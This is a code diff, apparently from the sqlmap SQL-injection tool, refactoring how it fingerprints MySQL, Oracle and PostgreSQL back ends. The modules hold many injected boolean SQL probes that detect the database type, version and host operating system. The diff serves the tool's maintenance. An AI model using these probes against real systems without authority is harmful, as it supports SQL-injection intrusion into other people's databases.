@ -130,10 +129,10 @@ class Fingerprint(GenericFingerprint):
|
||||||
if re.search("-log$", kb.data.banner):
|
if re.search("-log$", kb.data.banner):
|
||||||
banVer += ", logging enabled"
|
banVer += ", logging enabled"
|
||||||
|
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = format.getDbms([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -151,36 +150,38 @@ class Fingerprint(GenericFingerprint):
|
||||||
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \
|
if not conf.extensiveFp and (backend.isDbmsWithin(MYSQL_ALIASES) \
|
||||||
or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \
|
or conf.dbms in MYSQL_ALIASES) and backend.getVersion() and \
|
||||||
kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION:
|
backend.getVersion() != UNKNOWN_DBMS_VERSION:
|
||||||
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "")
|
v = backend.getVersion().replace(">", "")
|
||||||
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "")
|
v = v.replace("=", "")
|
||||||
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "")
|
v = v.replace(" ", "")
|
||||||
|
|
||||||
setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0]))
|
backend.setVersion(v)
|
||||||
|
|
||||||
if str(kb.dbmsVersion[0]) >= '5':
|
setDbms("%s %s" % (DBMS.MYSQL, backend.getVersion()))
|
||||||
|
|
||||||
|
if backend.isVersionGreaterOrEqualThan("5"):
|
||||||
kb.data.has_information_schema = True
|
kb.data.has_information_schema = True
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
infoMsg = "testing MySQL"
|
infoMsg = "testing %s" % DBMS.MYSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
randInt = getUnicode(randomInt(1))
|
randInt = getUnicode(randomInt(1))
|
||||||
result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()")
|
result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg = "confirming MySQL"
|
infoMsg = "confirming %s" % DBMS.MYSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("USER()=USER()")
|
result = inject.checkBooleanExpression("USER()=USER()")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not MySQL"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -189,52 +190,55 @@ class Fingerprint(GenericFingerprint):
|
||||||
#if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)):
|
#if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)):
|
||||||
if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt):
|
if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt):
|
||||||
kb.data.has_information_schema = True
|
kb.data.has_information_schema = True
|
||||||
kb.dbmsVersion = [">= 5.0.0"]
|
backend.setVersion(">= 5.0.0")
|
||||||
setDbms("%s 5" % DBMS.MYSQL)
|
setDbms("%s 5" % DBMS.MYSQL)
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.5.0
|
# Check if it is MySQL >= 5.5.0
|
||||||
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
|
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
|
||||||
kb.dbmsVersion = [">= 5.5.0"]
|
backend.setVersion(">= 5.5.0")
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
||||||
elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
|
elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
|
||||||
if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)):
|
if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)):
|
||||||
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
backend.setVersionList([">= 5.1.12", "< 5.5.0"])
|
||||||
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)):
|
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)):
|
||||||
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
|
backend.setVersionList([">= 5.1.7", "< 5.1.12"])
|
||||||
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)):
|
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)):
|
||||||
kb.dbmsVersion = ["= 5.1.6"]
|
backend.setVersion("= 5.1.6")
|
||||||
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)):
|
elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)):
|
||||||
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
|
backend.setVersionList([">= 5.1.5", "< 5.1.6"])
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
backend.setVersionList([">= 5.1.2", "< 5.1.5"])
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
||||||
elif inject.checkBooleanExpression("@@hostname=@@hostname"):
|
elif inject.checkBooleanExpression("@@hostname=@@hostname"):
|
||||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
backend.setVersionList([">= 5.0.38", "< 5.1.2"])
|
||||||
elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"):
|
elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"):
|
||||||
kb.dbmsVersion = [">= 5.0.19", "< 5.0.38"]
|
backend.setVersionList([">= 5.0.19", "< 5.0.38"])
|
||||||
elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)):
|
elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)):
|
||||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.19"]
|
backend.setVersionList([">= 5.0.11", "< 5.0.19"])
|
||||||
elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"):
|
elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"):
|
||||||
kb.dbmsVersion = [">= 5.0.6", "< 5.0.11"]
|
backend.setVersionList([">= 5.0.6", "< 5.0.11"])
|
||||||
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
|
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
|
||||||
kb.dbmsVersion = [">= 5.0.3", "< 5.0.6"]
|
backend.setVersionList([">= 5.0.3", "< 5.0.6"])
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = [">= 5.0.0", "< 5.0.3"]
|
backend.setVersionList([">= 5.0.0", "< 5.0.3"])
|
||||||
|
|
||||||
# For cases when information_schema is missing
|
# For cases when information_schema is missing
|
||||||
elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
|
elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
|
||||||
kb.dbmsVersion = [">= 5.0.2"]
|
backend.setVersion(">= 5.0.2")
|
||||||
setDbms("%s 5" % DBMS.MYSQL)
|
setDbms("%s 5" % DBMS.MYSQL)
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
|
elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
|
||||||
kb.dbmsVersion = ["< 5.0.0"]
|
backend.setVersion("< 5.0.0")
|
||||||
setDbms("%s 4" % DBMS.MYSQL)
|
setDbms("%s 4" % DBMS.MYSQL)
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
|
@ -243,26 +247,26 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
# Check which version of MySQL < 5.0.0 it is
|
# Check which version of MySQL < 5.0.0 it is
|
||||||
if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
|
if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
|
||||||
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
backend.setVersionList([">= 4.1.11", "< 5.0.0"])
|
||||||
elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
|
elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
|
||||||
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
backend.setVersionList([">= 4.1.1", "< 4.1.11"])
|
||||||
elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
|
elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
|
||||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
backend.setVersionList([">= 4.0.6", "< 4.1.1"])
|
||||||
|
|
||||||
if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
|
if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
|
||||||
kb.dbmsVersion = ["= 4.1.0"]
|
backend.setVersion("= 4.1.0")
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
backend.setVersionList([">= 4.0.6", "< 4.1.0"])
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
backend.setVersionList([">= 4.0.0", "< 4.0.6"])
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["< 4.0.0"]
|
backend.setVersion("< 4.0.0")
|
||||||
setDbms("%s 3" % DBMS.MYSQL)
|
setDbms("%s 3" % DBMS.MYSQL)
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not MySQL"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -275,9 +279,10 @@ class Fingerprint(GenericFingerprint):
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))")
|
result = inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))")
|
||||||
if result is True:
|
|
||||||
|
if result:
|
||||||
kb.os = "Linux"
|
kb.os = "Linux"
|
||||||
elif result is False:
|
elif not result:
|
||||||
kb.os = "Windows"
|
kb.os = "Windows"
|
||||||
|
|
||||||
if kb.os:
|
if kb.os:
|
||||||
|
|
|
@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
|
@ -30,7 +30,7 @@ class Enumeration(GenericEnumeration):
|
||||||
def getRoles(self, query2=False):
|
def getRoles(self, query2=False):
|
||||||
infoMsg = "fetching database users roles"
|
infoMsg = "fetching database users roles"
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].roles
|
rootQuery = queries[backend.getIdentifiedDbms()].roles
|
||||||
|
|
||||||
if conf.user == "CU":
|
if conf.user == "CU":
|
||||||
infoMsg += " for current user"
|
infoMsg += " for current user"
|
||||||
|
@ -179,7 +179,7 @@ class Enumeration(GenericEnumeration):
|
||||||
return []
|
return []
|
||||||
|
|
||||||
def searchColumn(self):
|
def searchColumn(self):
|
||||||
rootQuery = queries[getIdentifiedDBMS()].search_column
|
rootQuery = queries[backend.getIdentifiedDbms()].search_column
|
||||||
foundCols = {}
|
foundCols = {}
|
||||||
dbs = { "USERS": {} }
|
dbs = { "USERS": {} }
|
||||||
colList = conf.col.split(",")
|
colList = conf.col.split(",")
|
||||||
|
|
|
@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
@ -30,13 +29,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -56,7 +55,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -64,14 +63,14 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES:
|
if not conf.extensiveFp and (backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES):
|
||||||
setDbms(DBMS.ORACLE)
|
setDbms(DBMS.ORACLE)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
logMsg = "testing Oracle"
|
logMsg = "testing %s" % DBMS.ORACLE
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
# NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
|
# NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
|
||||||
|
@ -82,7 +81,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
result = inject.checkBooleanExpression("ROWNUM=ROWNUM")
|
result = inject.checkBooleanExpression("ROWNUM=ROWNUM")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
logMsg = "confirming Oracle"
|
logMsg = "confirming %s" % DBMS.ORACLE
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
|
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
|
||||||
|
@ -93,7 +92,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not Oracle"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -105,17 +104,20 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for version in ("11i", "10g", "9i", "8i"):
|
for version in ("11i", "10g", "9i", "8i"):
|
||||||
number = int(re.search("([\d]+)", version).group(1))
|
number = int(re.search("([\d]+)", version).group(1))
|
||||||
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
|
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
kb.dbmsVersion = [ version ]
|
backend.setVersion(version)
|
||||||
break
|
break
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not Oracle"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -126,7 +128,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
else:
|
else:
|
||||||
conf.db = "USERS"
|
conf.db = "USERS"
|
||||||
|
|
||||||
warnMsg = "on Oracle it is only possible to enumerate "
|
warnMsg = "on %s it is only possible to enumerate " % DBMS.ORACLE
|
||||||
warnMsg += "if you provide a TABLESPACE_NAME as database "
|
warnMsg += "if you provide a TABLESPACE_NAME as database "
|
||||||
warnMsg += "name. sqlmap is going to use 'USERS' as database "
|
warnMsg += "name. sqlmap is going to use 'USERS' as database "
|
||||||
warnMsg += "name"
|
warnMsg += "name"
|
||||||
|
|
|
@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -33,13 +32,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -59,7 +58,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -73,27 +72,27 @@ class Fingerprint(GenericFingerprint):
|
||||||
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES:
|
if not conf.extensiveFp and (backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES):
|
||||||
setDbms(DBMS.PGSQL)
|
setDbms(DBMS.PGSQL)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
infoMsg = "testing PostgreSQL"
|
infoMsg = "testing %s" % DBMS.PGSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
randInt = getUnicode(randomInt(1))
|
randInt = getUnicode(randomInt(1))
|
||||||
result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt))
|
result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt))
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg = "confirming PostgreSQL"
|
infoMsg = "confirming %s" % DBMS.PGSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not PostgreSQL"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -105,40 +104,43 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"):
|
if inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"):
|
||||||
kb.dbmsVersion = [">= 8.4.0"]
|
backend.setVersion(">= 8.4.0")
|
||||||
elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"):
|
elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"):
|
||||||
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
|
backend.setVersionList([">= 8.3.0", "< 8.4"])
|
||||||
elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"):
|
elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"):
|
||||||
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
backend.setVersionList([">= 8.2.0", "< 8.3.0"])
|
||||||
elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"):
|
elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"):
|
||||||
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
backend.setVersionList([">= 8.1.0", "< 8.2.0"])
|
||||||
elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"):
|
elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"):
|
||||||
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
backend.setVersionList([">= 8.0.0", "< 8.1.0"])
|
||||||
elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"):
|
elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"):
|
||||||
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
backend.setVersionList([">= 7.4.0", "< 8.0.0"])
|
||||||
elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"):
|
elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"):
|
||||||
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
backend.setVersionList([">= 7.3.0", "< 7.4.0"])
|
||||||
elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"):
|
elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"):
|
||||||
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
backend.setVersionList([">= 7.2.0", "< 7.3.0"])
|
||||||
elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"):
|
elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"):
|
||||||
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
backend.setVersionList([">= 7.1.0", "< 7.2.0"])
|
||||||
elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"):
|
elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"):
|
||||||
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
backend.setVersionList([">= 7.0.0", "< 7.1.0"])
|
||||||
elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
|
elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
|
||||||
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
backend.setVersionList([">= 6.5.0", "< 6.5.3"])
|
||||||
elif inject.checkBooleanExpression("VERSION()=VERSION()"):
|
elif inject.checkBooleanExpression("VERSION()=VERSION()"):
|
||||||
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
backend.setVersionList([">= 6.4.0", "< 6.5.0"])
|
||||||
elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"):
|
elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"):
|
||||||
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
backend.setVersionList([">= 6.3.0", "< 6.4.0"])
|
||||||
elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"):
|
elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"):
|
||||||
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
backend.setVersionList([">= 6.2.0", "< 6.3.0"])
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["< 6.2.0"]
|
backend.setVersion("< 6.2.0")
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
